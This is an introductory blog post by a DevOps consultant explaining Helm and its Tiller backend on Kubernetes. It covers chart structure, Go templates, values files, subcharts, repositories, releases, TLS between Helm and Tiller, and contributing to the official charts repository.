Essentially you create structured application packages that contain everything they need to run on a Kubernetes cluster; including dependencies the application requires.

Helm is a CLI, Tiller is its backend

Practically speaking, Helm is a CLI tool that interacts with its backend server called “Tiller”. Tiller is typically installed by sending the command helm init and lives in the kube-system namespace (unless instructed otherwise). It is in charge of deploying Charts requested by Helm.

When a Chart is installed, Tiller creates a “Release” and starts tracking it for changes. This way Helm not only takes part in installation but is an actual deploy tool that manages the lifecycle of applications in a cluster using Chart Releases and their revisions.

Helm concepts | Chart

Helm uses Charts to pack all the required K8s components for an application to deploy, run and scale. It is also where dependencies are defined, and configurations are updated and maintained.

A chart root has to have only one file named Chart.yaml by convention.
It can optionally (and by default if you use helm create) have a few more components on which I’ll elaborate shortly, but first, here’s what a typical chart structure would look like:

    ├── Chart.yaml
    ├── templates
    │   ├── service.yaml
    │   └── replicaset.yaml
    ├── charts
    │   ├── nginx-ingress-1.1.2.tgz
    ├── requirements.lock
    ├── requirements.yaml
    └── values.yaml

In this chart (let’s call it “web-UI”), there are templates of Service and ReplicaSet, which upon helm installation will be created using the values.yaml file that can be seen a the bottom of the list.
Also, the web-UI chart requires Nginx to run, and so Nginx appears as a subchart under the charts directory. requirements.yaml is the file describing the actual requirement and lists Nginx inside. The lock file which is also part of the pack is created when helm installs the requirements when commanded with helm dependency update.

A Chart.yaml is a description of the package and in fact the only required file in it, there are only three required entries: apiVersion, name and version. Here’s an example of what it would look like:
(You can find the full list of options and entries in a Chart right here.)

    apiVersion: v1
    name: drone
    version: 1.0.0

Templates

Templates are an optional subdirectory in a chart.
They combine the K8s components, e.g. Service, ReplicaSet, Deployment etc, converted into a Go-Template format to which values will, later on, be matched.
Let’s take a look of a partial template example:

    apiVersion: apps/v1
    kind: DaemonSet
    metadata:
      name: {{ .Values.name }}
      labels:
        app: {{ .Values.name }}
        somelabel: {{ .Values.labels.somelabelkey }}

Values

Values are described in the values.yaml file which is necessarily a yaml structure holding values to match the templates. Considering the template above, a matching values file would be:

    name: web-ui
    labels:
      somelabelkey: somelabelvalue

Subcharts

Subcharts also named dependencies, are required charts for the current one.
You can think of it as another way of packing applications so that if my backend requires a Redis cache to run, this is another way to set it up.
Another way of using subcharts is considering it as an inheritance mechanism which allows fetching a standard chart with templates and uses it as a subcharts in multiple parent charts that would provide the values.

Helm concepts | Repository

Repositories are where helm charts are held and maintained. In essence, these are a set of templates and configuration values stored as code (sometimes packed as a .tar.gz file).
When you helm install stable/redis by default helm reaches out to the Helm/Charts repo on GitHub, searching under the stable tree.

Visit this repo, and you’ll also find the incubator subdirectory where you can get and install incubated Charts that have not yet been tagged as production-ready (Stable). This does not mean you can’t use them; try introducing them in a development cluster and use them. The Helm community manages strict sem-ver guidelines for versioning, and even the smallest change creates a new Chart release. You can be confident that if a specific version of a remote Chart is working in one way, it will never break on you out of the blue.

An excellent example of using a different repo is Elastic’s ElasticSearch Chart, which used to be maintained by the company in the Helm/Charts repo.

Elastic had decided to move their product to their Helm repo, and to get the latest official Chart you can now add their repo to Helm by:
helm repo add elastic https://helm.elastic.co
followed by:
helm install --name elasticsearch elastic/elasticsearch

Helm concepts | Release

Think of a release as a mechanism to track installed applications on a K8S cluster; when an application is installed by Helm, a release is being created. You can create different installations of a product, e.g., Redis and have two different releases created and tracked in the cluster.

Releases can be tracked with helm ls, each would have a “revision” which is the Helm release versioning terminology; if a specific release is updated, e.g., adding more memory to the Redis release, the revision would be incremented. Helm allows rolling back to a particular revision, making it virtually the manager for deployments and production status handler.

TLS

Tiller and Helm need a way to communicate. By default, this connection is not very secure, which means that if one of the endpoints is compromised or accessible to a compromised component, traffic can be read and analyzed. Beyond discussing the actual attack surface of not securing communication between systems, we can easily create a secure TLS connection using an auto-generated certificate. In order to do that here’s a script that takes you through the process and can be implemented anywhere.

Contributions

You may find yourself (like I have) running into a new requirement for ability or feature from an official chart under github.com/helm/charts, it may very well be a bug (not so unlikely with incubator charts). Since Helm and its charts are both open source projects with hundreds of contributors, they are intensely active. Make changes to the desired chart and open a PR with the contribution, if all requirements have been made and taken care of, the team will approve the change in a matter of days.

While the process is quite demanding (and we should be thankful that’s so), changes are being reviewed and approved or disapproved quickly. Read more about contributing to the project; note that if you’re only making small changes most of the document is not relevant as it outlines requirements for new charts.

That’s it.

I hope that by now you understand Helm and why it is such a powerful system. As this is just an introduction, to learn and “feel” it, there’s no going around intense work with it; deploying 3rd party products and building your charts.

My name is Omer, and I am an engineer at ProdOps — a global consultancy that delivers software in a Reliable, Secure and Simple way by adopting the Devops culture. Let me know your thoughts in the comments below, or connect with me directly on Twitter @omergsr. Clap if you liked it, it helps me focus my future writings.